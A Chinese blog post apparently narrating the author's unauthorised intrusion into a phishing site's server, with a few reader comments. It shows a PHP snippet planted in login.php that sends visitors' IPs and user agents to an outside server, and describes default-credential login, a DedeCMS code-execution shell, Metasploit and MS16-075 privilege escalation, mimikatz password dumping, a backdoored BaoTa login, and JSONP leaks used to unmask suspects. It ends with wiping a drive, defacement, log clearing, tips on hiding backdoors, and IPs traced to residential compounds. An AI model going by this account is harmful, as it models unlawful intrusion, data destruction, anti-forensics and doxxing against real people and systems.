入侵钓鱼站并溯源

0x00 写在前面的话

         本文所写的内容基本真实,但有些渗透溯源的过程为了描述的精简被修改删除。一些无关紧要的事情也被略去,但对渗透至关重要的大思路和小细节我都没放过。同时在渗透的时候我没有留下截图,很多图是我后来补上的。转载请注明出处。

0x01 引子

        事情要从一周前说起。
        深夜,寝室,我照例空虚寂寞百无聊赖地刷群。
        突然看到D小姐姐在群里面说她用了N线程给钓鱼网站交了大量垃圾信息,最后卡爆了服务器,颇为得意。
        当晚我正好闲着没事,就决定小小地得罪一下这个钓鱼网站,故事就这样开始了

0x02 入侵

        首先是基础的信息搜集,但是当我查询whois和微步在线之后却没有任何结果,显示的是这些注册信息被保护了,毫无结果。最后只知道同一台服务器上运行 了很多相同的钓鱼站。
        好在D小姐姐的垃圾数据并没有给服务器造成太大影响,很快服务器就恢复了并显示如下界面
 

        现在的钓鱼网站的制作者都很良心,界面弄得跟官方的非常相似,可不像当年那些随便画个框框就等着要密码的,毕竟时代在进步嘛。但这也不是完美的,密码那里弄成小写qq的了。
        翻看钓鱼网址http://timea.icu/Ru_op/newwap.html的源码,我们可以看到作者用了document.write(unescape('   来掩饰网页源码,应该是用来防止被基于关键字拦截的防诈骗软件拦截?
        而且网页里面还引用了个有趣的JS

code 区域

window.onload = function () {
     var date_time='2019-4-2 18:00:59';
    
    var time = Date.parse(new Date());
    var date1 = Date.parse(new Date(date_time.replace(/-/g, '/')));
    if (date1 < time) {
        top.location.href= '/expire.html';
    };
   $('#expire-time').html(date_time);
};

        大概就是一段时间后这个网站就"expire"掉了,而expire.html长这个样子。


        这应该说明这个网站不是钓鱼者自己做的而是花钱买来的。现在不愧是社会主义市场经济啊,这些搞黑产的已经弄成一个产业链了,有的人负责做网站有的人负责骗,分工明确各司其职高效工作呢。
        接着在检查没有WAF后就在登录处拦截POST包,扔到sqlmap里面注入

        果真毫无意外地失败了。这年头,连钓鱼站都这么安全了。
        我再用Burp扫了下路径,发现了几个有趣的路径。
        这是我刚刚补的图,本来这些路径里面还有phpmyadmin的但是在后来管理员换了路径所以现在没了。我先尝试了phpmyadmin的弱密码,但是失败了,转去看别的路径
        最有趣的是在/member路径中


        没想到这一个简简单单的钓鱼站需要用到一个DedeCMS?
我就顺手下了个DedeCMS的源码看看,发现后台路径/dede,点进去居然有,而且直接用admin/admin就登录了!



        后台别有洞天,皮肤比Dede官方的不知道好看到哪里去。如果Dede官方有人看到这个心里一定会很惭愧吧。后台还可以看到各种钓鱼数据,由于暂时它的后台出了些毛病我就不截图了。
        不过不管这么说这只是套了层皮而已,内核还是DedeCMS,我就在SecWIKI的CMS Hunter搜了个DedeCMS后台提权漏洞DedeCMS V5.7 SP2后台存在代码执行漏洞 ,就成功getshell了

0x02 第一次不正经溯源

        是时候把钓鱼者的IP弄出来了!
        想想钓鱼者会怎么访问?当然是访问后台了!于是我在后台的login.php加上了如下代码来记录IP

code 区域

//检测安装目录完整性
function Check($url)
{
       $ch = curl_init ();
       curl_setopt ( $ch, CURLOPT_URL, $url );
       curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
       curl_setopt ( $ch, CURLOPT_CUSTOMREQUEST, 'GET' );
       curl_setopt ( $ch, CURLOPT_TIMEOUT, 60 );
       $result = curl_exec ( $ch );
       curl_close ( $ch );
       return $result;
}

$url="http://...:█/message.php?info=Another%20";
$info=urlencode((string)$_SERVER['REMOTE_ADDR'].(string)$_SERVER['HTTP_USER_AGENT']);
Check($url.$info);

        其中这个接收的服务器是拿S神的服务器干的,他为了检测菜刀流量的行为专门搭建了个服务器供我们去日。
        这样我在服务器上面访问/█就可以看到IP了
        可惜似乎我高兴得太早,一天下去发现登过这个后台的人遍布全国各地,估计是全国各地都有正义黑客想要干这个网站吧,但这样攻击者的IP就被藏起来了
        看来我需要提权,进入服务器,拿到更多东西!

0x03 提权

        在提权之前我还干了个事情,就是保存整站源码以查找关键信息免得一会万一动静太大或者搞崩服务器导致惊动管理员权限丢失我好歹能留点纪念品。
        进入webshell发现命令执行的函数都被禁止了,首先要解决命令执行的问题。许多人认为命令执行函数被禁止就高枕无忧 了,但接下来的事情证明这是错的。
        禁止命令执行函数无非就是在php.ini里面设置disable_functions,当我的shell能够修改这个php.ini的时候,这个所谓的防护就变得没有意义了。
        执行whoami命令发现权限只有iis apppool\www.baidu.com。这个权限低的难以忍受,我得想办法提权。我祭出了提权后渗透大杀器Metasploit
        上传用msf生成的木马,自己的服务器再配置好监听,webshell执行,成功获取meterpreter会话!之后一记Ms16-075漏洞拿到system权限!
        

0x04 第二次正经的溯源

        在拿到服务器权限后,我用mimikatz拿到了管理员明文密码
        但是保险起见我还是先新建一个用户(就是上图的360safe),免得到时候登上去把管理员挤下去的尴尬状况
        然后用一个命令把远程桌面的端口查出来
code 区域
C:\Windows\system32>reg query "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber"
reg query "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    PortNumber    REG_DWORD    0x58d4
        最后成功登录远程桌面!
        登录远程桌面后我发现电脑上几乎没装什么软件,除了个宝塔外就没有别的了
        我先搜集了Windows日志,在日志中我发现了一些的东西
        
        首先呢,非常不幸,我在最开始用msf提权的时候清理了日志,这是我的大失误,导致3月10日之前的日志都没了。但是不幸中的万幸是,残存的日志足矣帮助我们找到攻击者的一些信息。
        这个攻击者的电脑名字叫做“阿洲”,听起来像是港台片里面的黑社会,IP地址
拿到了两个,一个是119.85.162.18(中国重庆重庆合川区龙湖美岸(住宅小区)(可信度:99))
还有一个是119.85.166.235(中国 重庆 重庆 合川区)成功定位!
        服务器上还装有宝塔,由于我并不知道宝塔的密码,就直接修改了里面的php文件,把密码判定那里修改了下逻辑,这样只要我的用户名是360safe就能(是的,我有一次借刀360)登录。
        在登陆后我看到后台日志,有看到了一个IP 119.85.164.184(中国重庆重庆合川区美绿居·翡翠名苑(住宅小区)(可信度:99))应该是同一个人
        同时后台还告诉我C盘有个HTTP日志记录,我迅速下下来,有一次发现了重庆的IP地址访问了/install页面。

        还看到了他用的浏览器是Windows8.1用的是Chrome浏览器,这个尽管与我之前页面钓到的UA不一样,但由于都是win8.1这样较为少见的系统,故判定为同一个人
        另一方面我还发现了另一个广东的IP117.136.39.239(基站IP)疑似同伙,他使用2345浏览器和windows7系统,第一次访问这个系统就直接访问/dede,并且经常在后台发送POST包。

        除了这些信息之外我就获取不了别的信息了。

0x05 使用了0day的不完全溯源

        后来某一天█课上完的时候,我问了老师业界大牛Dr██,大牛告诉我可以挖下█讯边缘业务的JSONP漏洞来泄漏攻击者的QQ。
        在尝试了好几个小时之后,我只挖到了█讯的某个能够泄漏用户名的JSONP和█度能够泄漏部分用户名的JSONP漏洞,我很快将这个漏洞写成利用脚本,在调试后部署上去得到广东同伙的QQ名字“龙腾九天”和“怪兽”

0x06 格盘跑路

        由于我实在没有更多时间和他们耗,再耗下去我就要挂科了,决定直接破坏造成精神打击!
        关你的服务!


        格你的D盘!
        改你的桌面!
(美中不足的是微博二字打错了)
(附注:脏话仅用于玩梗,并不代表作者本人平时的素质,我的朋友们都可以作证)
        没有截图的是我清理日志的部分,这一部分我是做了的只是没有截图,希望各位在做相同事情的时候注意个人保护

0x06 总结

        一些需要注意的渗透细节:

                        1,在渗透的时候如果能修改php.ini就可以突破PHP禁止执行高危函数造成的命令                             不可执行。搞IPS的时候可以禁止PHP修改敏感文件来进行初步防护
                        2,扫目录挺有用的
                        3,不管是哪种取证,系统日志都是很重要的突破口。同时防取证得删掉日志
                        4,Windows Server密码复杂度有要求,渗透时账户创建失败可能是密码不够复杂

         不足之处:

                        1,文中内容是精简过的。整个战线托的太长。要积累经验
                        2,留后门留得太明显,应该留到网站原有的文件里去,最好是分布在多个文件                               来免杀
                        3,得积累JSONP漏洞,不要像我这样现挖。我都在考虑写一个扫描JSONP漏洞                               的插件了
                        4,得积累一些针对国内软件(如宝塔)的信息搜集工具

评论

  1. 回复
    1. 你干过的事情比这些小事情不知道牛逼到哪里去了

      删除
  2. 此评论已被作者删除。

    回复删除
    回复
    1. 只要非盈利转载和注明这个网址都可以呢

      删除
    2. 此评论已被作者删除。

      删除
  3. 哈哈 “改你的桌面”还真有趣啊哈哈

    回复删除
  4. 可以可以,受益匪浅

    回复删除

发表评论

此博客中的热门博文

局域网监控软件WFilter ICF 鸡肋0day RCE漏洞挖掘

别想偷我源码:通用的针对源码泄露利用程序的反制(常见工具集体沦陷)

复现基于eBPF实现的Docker逃逸